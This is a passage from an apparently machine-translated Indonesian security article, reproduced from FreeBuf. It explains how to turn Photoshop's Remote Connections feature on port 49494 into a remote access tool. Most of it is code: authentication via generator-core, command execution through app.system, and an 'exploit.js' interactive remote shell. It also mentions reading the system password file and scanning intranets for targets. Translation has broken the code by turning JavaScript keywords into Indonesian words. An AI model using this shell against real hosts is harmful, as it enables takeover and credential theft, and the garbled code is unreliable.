Dalam artikel ini, penulis akhirnya menyadari kendali pengambilalihan sistem operasi sisi Photoshop dengan fungsi koneksi jarak jauh melalui transformasi dan pemanfaatan fungsi koneksi jarak jauh Photoshop.
Deskripsi fungsi koneksi jarak jauh Photoshop
Ada fitur opsional di Photoshop yang disebut Remote Connections, yang dinonaktifkan secara default, tetapi jika Anda mengaktifkan fitur ini dan mengatur kata sandi, siapa pun yang mengetahui kata sandi dapat mengakses Photoshop dari jarak jauh di komputer Anda. Server. Buka layar sebagai berikut:
Pengguna biasa dapat menggunakan fungsi ini untuk melihat tampilan desain sebenarnya dari file PS yang berbeda pada perangkat jarak jauh seperti iPad atau ponsel secara real time Fungsi pratinjau jarak jauh ini memerlukan terminal seluler seperti ponsel untuk menginstal aplikasi pihak ketiga seperti PS Playon dan Pratinjau Skala untuk terhubung. Seperti Pratinjau Skala:
Fungsi koneksi jarak jauh didasarkan pada contoh skrip JSX Photoshop. JSX adalah skrip makro Photoshop yang ditulis dalam Javascript untuk mewujudkan fungsi pemuatan gambar, rendering warna, gambar vektor, dan ekspor Photoshop. Anda dapat mengklik di sini untuk melihat spesifikasi penulisan yang relevan dan antarmuka yang tersedia di BEJ.
Selain itu, Adobe menyediakan generator kernel pustaka sumber terbuka untuk membuat sambungan jarak jauh, jadi jika Anda tertarik dengan detail protokol, Anda juga dapat mengeklik di sini untuk melihat. Saat koneksi jarak jauh diaktifkan, Photoshop akan memantau port 49494:
$ netstat -an | grep 49494 tcp40 0 * .49494 *. * DENGARKANKode berikut adalah kode yang digunakan untuk berinteraksi dengan server Photoshop jarak jauh untuk otentikasi:
const core = membutuhkan ("generator-core / lib / generator") opsi const = { host: '192.168.1.123', kata sandi: 'kata sandi', port: 49494 } const generator = core.createGenerator () generator.start (opsi) .done (() = > { generator.evaluateJSXString ('alert ("Hello")'). lalu (() = > generator.shutdown ()) })Dalam hal ini, saya telah mencoba menggunakan metode app.system berikut untuk memanggil perintah sistem:
alert (app.system ("id"))
Sayangnya, nilai yang dikembalikan adalah beberapa kode status keluar, bukan keluaran perintah standar. Setelah penelitian, saya menemukan bahwa skrip JSX Photoshop memiliki antarmuka akses sistem, jadi, dengan cara ini, kita dapat mengarahkan output standarnya (stdout) ke file sementara, dan kemudian kita dapat membaca file tersebut. Sebagai berikut:
var tmpFile = Folder.temp + 'output.txt'; app.system ("id > "+ tmpFile); var stdout = File baru ($ {tmpFile}); stdout.open ('r'); stdout.encoding = "UTF-8"; var content = stdout.read (); stdout.close (); stdout.remove (); waspada (konten);Transformasi Photoshop RAT
Oleh karena itu, saya dapat membuat modifikasi berikut pada kode otentikasi di atas, masuk ke server Photoshop jarak jauh melalui nama pengguna dan kata sandi, dan kemudian menggunakan antarmuka skrip JSX untuk secara tidak langsung menjalankan perintah sistem server Photoshop untuk mencapai pengambilalihan langsung sistem server Photoshop jarak jauh kontrol. Berikut ini adalah kode eksploit:
exploit.js:
const readline = membutuhkan ('readline') const backdoor = membutuhkan ("generator-core / lib / generator") opsi const = { host: '192.168.0.101', kata sandi: 'kata sandi', pelabuhan: 49494, } console.info ('Membuat koneksi ke' + options.host) const generator = backdoor.createGenerator () generator.start (opsi) .done (() = > { const rl = readline.createInterface ({input: process.stdin, output: process.stdout, prompt: ' > '}) .on ('line', line = > { biarkan perintah = line.trim () let tmpFile = `Folder.temp + $ {JSON.stringify (Math.random () + '. txt')}` biarkan jsx = ` app.system ("$ {command} > "+ $ {tmpFile}); var stdout = File baru ($ {tmpFile}); stdout.open ('r'); stdout.encoding = "UTF-8"; var content = stdout.read (); stdout.close (); stdout.remove (); kandungan ` generator.evaluateJSXString (jsx). lalu (output = > { console.log (keluaran) rl.prompt () }) }) .on ('SIGINT', () = > { console.log ('bye') generator.shutdown () rl.close () }) console.log ('Shell photoshop jarak jauh') rl.prompt () })Setelah berhasil digunakan, baca kata sandi sistem operasi dari server Photoshop jarak jauh:
Analisis Dampak
Di intranet, Anda dapat memindai melalui 49494 port scan atau multicast DNS "_photoshopserver.tcp" untuk mendeteksi beberapa server Photoshop dengan fungsi koneksi jarak jauh, dan kemudian menggunakan exploit.js di atas untuk bermain.
Cara RAT ini menggunakan fungsi ini, Premis harus mengetahui kata sandi koneksi jarak jauh dari layanan Photoshop pihak lain, sehingga tidak berada dalam cakupan kerentanan. Berdasarkan ini, harap berhati-hati untuk mengaktifkan fungsi koneksi jarak jauh Photoshop Anda, atau simpan kata sandi koneksi jarak jauh Photoshop Anda dengan ketat, jika tidak, sistem operasi Anda dapat dikendalikan dari jarak jauh oleh orang jahat.
* Sumber referensi: sedang, awan editor freebuf dikompilasi, direproduksi dari FreeBuf.COM
- Bacaan Pagi | Kepala Desainer Proyek Eksplorasi Bulan: Peluncuran Chang'e 5 pada akhir tahun ini | Lingzhao Xuan dari Istana Yanxi akan diperbaiki
- Yang paling tampan tidak lebih dari dua belas detik, pemandu pemula C takut dominator-Miyamoto Musashi
- Dialog hulu dengan pengacara pembela dalam kasus anti-pembunuhan Hebei, menjelaskan sepuluh masalah hukum utama secara rinci